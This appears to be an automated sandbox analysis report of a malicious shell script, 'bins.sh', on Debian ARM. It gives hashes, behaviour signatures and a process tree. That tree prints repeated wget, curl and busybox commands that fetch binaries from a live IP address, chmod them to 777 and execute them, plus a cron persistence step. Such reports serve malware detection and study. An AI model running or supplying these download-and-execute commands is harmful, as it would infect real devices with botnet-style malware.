Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    24-11-2024 02:16

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    448ff051a82dcd161179638ec585deea

  • SHA1

    fa2e26de23af0dd677afb7523acf978f6e62a9dd

  • SHA256

    153cce658fb6ea541854485d0ffbd495ee25c697afb84aabd9ff0fe0fd2cf7f8

  • SHA512

    d7a3466e6a1a505b59a672575b3d59980ab776e8e7d6027b1a4fcfd6b3509a0ef4fb6897c8a51f9f541ef5d1f391c7a1bf0419af08b0073c2b45c2ba18d8e3ac

  • SSDEEP

    192:6I4oP799p9CFoEToEzoExoEcoEgoEDNpVJnoEToEzoExoEcoEgoEkI4oP79U:l9p9CiE0EUEeEBElEJpVSE0EUEeEBElL

Malware Config

Signatures

  • Contacts a large (1720) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 6 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 20 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:661
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:663
        • /usr/bin/wget
          wget http://216.126.231.240/bins/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
          2⤵
          • Writes file to tmp directory
          PID:665
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:681
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
          2⤵
          • Writes file to tmp directory
          PID:689
        • /bin/chmod
          chmod 777 mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
          2⤵
          • File and Directory Permissions Modification
          PID:692
        • /tmp/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
          ./mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
          2⤵
          • Executes dropped EXE
          PID:693
        • /bin/rm
          rm mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
          2⤵
            PID:696
          • /usr/bin/wget
            wget http://216.126.231.240/bins/BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH
            2⤵
            • Writes file to tmp directory
            PID:697
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:699
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH
            2⤵
            • Writes file to tmp directory
            PID:700
          • /bin/chmod
            chmod 777 BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH
            2⤵
            • File and Directory Permissions Modification
            PID:701
          • /tmp/BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH
            ./BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH
            2⤵
            • Executes dropped EXE
            PID:702
          • /bin/rm
            rm BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH
            2⤵
              PID:704
            • /usr/bin/wget
              wget http://216.126.231.240/bins/ET0Cy54tj54PHIty2fq33VJqHkMQKU8rws
              2⤵
              • Writes file to tmp directory
              PID:706
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/ET0Cy54tj54PHIty2fq33VJqHkMQKU8rws
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:712
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/ET0Cy54tj54PHIty2fq33VJqHkMQKU8rws
              2⤵
              • Writes file to tmp directory
              PID:719
            • /bin/chmod
              chmod 777 ET0Cy54tj54PHIty2fq33VJqHkMQKU8rws
              2⤵
              • File and Directory Permissions Modification
              PID:723
            • /tmp/ET0Cy54tj54PHIty2fq33VJqHkMQKU8rws
              ./ET0Cy54tj54PHIty2fq33VJqHkMQKU8rws
              2⤵
              • Executes dropped EXE
              PID:724
            • /bin/rm
              rm ET0Cy54tj54PHIty2fq33VJqHkMQKU8rws
              2⤵
                PID:727
              • /usr/bin/wget
                wget http://216.126.231.240/bins/yNdW8bw02sV9WhHLd5r2ZbZZKqNHGSmNt1
                2⤵
                • Writes file to tmp directory
                PID:728
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/yNdW8bw02sV9WhHLd5r2ZbZZKqNHGSmNt1
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:735
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/yNdW8bw02sV9WhHLd5r2ZbZZKqNHGSmNt1
                2⤵
                • Writes file to tmp directory
                PID:744
              • /bin/chmod
                chmod 777 yNdW8bw02sV9WhHLd5r2ZbZZKqNHGSmNt1
                2⤵
                • File and Directory Permissions Modification
                PID:748
              • /tmp/yNdW8bw02sV9WhHLd5r2ZbZZKqNHGSmNt1
                ./yNdW8bw02sV9WhHLd5r2ZbZZKqNHGSmNt1
                2⤵
                • Executes dropped EXE
                PID:750
              • /bin/rm
                rm yNdW8bw02sV9WhHLd5r2ZbZZKqNHGSmNt1
                2⤵
                  PID:752
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/fPAIhIRbXypFImgVEk1QdpWH2AURo0Ghih
                  2⤵
                  • Writes file to tmp directory
                  PID:753
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/fPAIhIRbXypFImgVEk1QdpWH2AURo0Ghih
                  2⤵
                  • Checks CPU configuration
                  • Writes file to tmp directory
                  PID:762
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/fPAIhIRbXypFImgVEk1QdpWH2AURo0Ghih
                  2⤵
                  • Writes file to tmp directory
                  PID:768
                • /bin/chmod
                  chmod 777 fPAIhIRbXypFImgVEk1QdpWH2AURo0Ghih
                  2⤵
                  • File and Directory Permissions Modification
                  PID:769
                • /tmp/fPAIhIRbXypFImgVEk1QdpWH2AURo0Ghih
                  ./fPAIhIRbXypFImgVEk1QdpWH2AURo0Ghih
                  2⤵
                  • Executes dropped EXE
                  PID:770
                • /bin/rm
                  rm fPAIhIRbXypFImgVEk1QdpWH2AURo0Ghih
                  2⤵
                    PID:772
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/JEIXNriAbWFb3Y1PlBzCP1sHdoxj12J1dX
                    2⤵
                    • Writes file to tmp directory
                    PID:773
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/JEIXNriAbWFb3Y1PlBzCP1sHdoxj12J1dX
                    2⤵
                    • Checks CPU configuration
                    • Writes file to tmp directory
                    PID:777
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/JEIXNriAbWFb3Y1PlBzCP1sHdoxj12J1dX
                    2⤵
                    • Writes file to tmp directory
                    PID:780
                  • /bin/chmod
                    chmod 777 JEIXNriAbWFb3Y1PlBzCP1sHdoxj12J1dX
                    2⤵
                    • File and Directory Permissions Modification
                    PID:784
                  • /tmp/JEIXNriAbWFb3Y1PlBzCP1sHdoxj12J1dX
                    ./JEIXNriAbWFb3Y1PlBzCP1sHdoxj12J1dX
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:786
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:788
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:789
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:790
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:792
                        • /bin/rm
                          rm JEIXNriAbWFb3Y1PlBzCP1sHdoxj12J1dX
                          2⤵
                            PID:796
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/NXy6ktOVLN0GOsOVSD3eaTu4nwFeUDlY3l
                            2⤵
                              PID:800
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/NXy6ktOVLN0GOsOVSD3eaTu4nwFeUDlY3l
                              2⤵
                                PID:889
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/NXy6ktOVLN0GOsOVSD3eaTu4nwFeUDlY3l
                                2⤵
                                • Writes file to tmp directory
                                PID:892
                              • /bin/chmod
                                chmod 777 NXy6ktOVLN0GOsOVSD3eaTu4nwFeUDlY3l
                                2⤵
                                • File and Directory Permissions Modification
                                PID:899
                              • /tmp/NXy6ktOVLN0GOsOVSD3eaTu4nwFeUDlY3l
                                ./NXy6ktOVLN0GOsOVSD3eaTu4nwFeUDlY3l
                                2⤵
                                • Executes dropped EXE
                                PID:905
                              • /bin/rm
                                rm NXy6ktOVLN0GOsOVSD3eaTu4nwFeUDlY3l
                                2⤵
                                  PID:907
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/GrLDgnXsfmFPolTvIysAbO9TSTXa5c2xv4
                                  2⤵
                                    PID:908
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/GrLDgnXsfmFPolTvIysAbO9TSTXa5c2xv4
                                    2⤵
                                      PID:910
                                    • /bin/busybox
                                      /bin/busybox wget http://216.126.231.240/bins/GrLDgnXsfmFPolTvIysAbO9TSTXa5c2xv4
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:915
                                    • /bin/chmod
                                      chmod 777 GrLDgnXsfmFPolTvIysAbO9TSTXa5c2xv4
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:925
                                    • /tmp/GrLDgnXsfmFPolTvIysAbO9TSTXa5c2xv4
                                      ./GrLDgnXsfmFPolTvIysAbO9TSTXa5c2xv4
                                      2⤵
                                      • Executes dropped EXE
                                      PID:926
                                    • /bin/rm
                                      rm GrLDgnXsfmFPolTvIysAbO9TSTXa5c2xv4
                                      2⤵
                                        PID:927
                                      • /usr/bin/wget
                                        wget http://216.126.231.240/bins/uxim9YW7HQeArRp0G2gLNyk0lX4A7qP0na
                                        2⤵
                                          PID:928
                                        • /usr/bin/curl
                                          curl -O http://216.126.231.240/bins/uxim9YW7HQeArRp0G2gLNyk0lX4A7qP0na
                                          2⤵
                                            PID:930

                                        Network

                                        MITRE ATT&CK Enterprise v15

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        • /tmp/BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH

                                          Filesize

                                          111KB

                                          MD5

                                          701e7a55a4f3650f5feee92a9860e5fc

                                          SHA1

                                          6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                          SHA256

                                          ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                          SHA512

                                          7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                        • /tmp/ET0Cy54tj54PHIty2fq33VJqHkMQKU8rws

                                          Filesize

                                          122KB

                                          MD5

                                          cd3d4b9c643e5b473fb4d88ed05f0716

                                          SHA1

                                          64ee7a97418583d759eaea8000890cc3bae1b5f4

                                          SHA256

                                          0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                          SHA512

                                          164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                        • /tmp/GrLDgnXsfmFPolTvIysAbO9TSTXa5c2xv4

                                          Filesize

                                          112KB

                                          MD5

                                          05d7857dcead18bbd86d2935f591873c

                                          SHA1

                                          34d18f41ef35f93d5364ce3e24d74730a4e91985

                                          SHA256

                                          2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                          SHA512

                                          d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                        • /tmp/JEIXNriAbWFb3Y1PlBzCP1sHdoxj12J1dX

                                          Filesize

                                          119KB

                                          MD5

                                          1b166b95f9cb4b079ef1b9ec8363ddf3

                                          SHA1

                                          0d8eb08add467b3b5474f9b25909297fe7c2839c

                                          SHA256

                                          94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                          SHA512

                                          983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                        • /tmp/NXy6ktOVLN0GOsOVSD3eaTu4nwFeUDlY3l

                                          Filesize

                                          107KB

                                          MD5

                                          eb9c3a0de91fcf16ba17cb24608df68c

                                          SHA1

                                          09d95a7d70d5e115d103be51edff7c498d272fac

                                          SHA256

                                          dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                          SHA512

                                          9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                        • /tmp/fPAIhIRbXypFImgVEk1QdpWH2AURo0Ghih

                                          Filesize

                                          98KB

                                          MD5

                                          5141342d0df8699fa32a6b066a0c592e

                                          SHA1

                                          8157673225bd5182f16215e2aa823a25ca2d4fbc

                                          SHA256

                                          54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                          SHA512

                                          d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                        • /tmp/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9

                                          Filesize

                                          151KB

                                          MD5

                                          3c90d5820bddcf7c5d1bd21dfa49d958

                                          SHA1

                                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                          SHA256

                                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                          SHA512

                                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                        • /tmp/yNdW8bw02sV9WhHLd5r2ZbZZKqNHGSmNt1

                                          Filesize

                                          117KB

                                          MD5

                                          849fa04ef88a8e8de32cb2e8538de5fe

                                          SHA1

                                          c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                          SHA256

                                          8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                          SHA512

                                          2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                        • /var/spool/cron/crontabs/tmp.82GLAa

                                          Filesize

                                          210B

                                          MD5

                                          96d34e4f9244c25611e830f75d29e5b6

                                          SHA1

                                          f38312dd7797e4e17fb6a9ae200b4d6aca9de4f6

                                          SHA256

                                          87f67b96e9932844a95a022074b293bf69cb87f336a4c52f3effbbeb6432a2fd

                                          SHA512

                                          2a3f1c6649e2c5cdea58df6df9b30a7703a28a555e4a46a7de2c8d9311743ec65c701b826ae5464c56d3eca6ecac00854b39e2156abe26a032719fd93ca0b770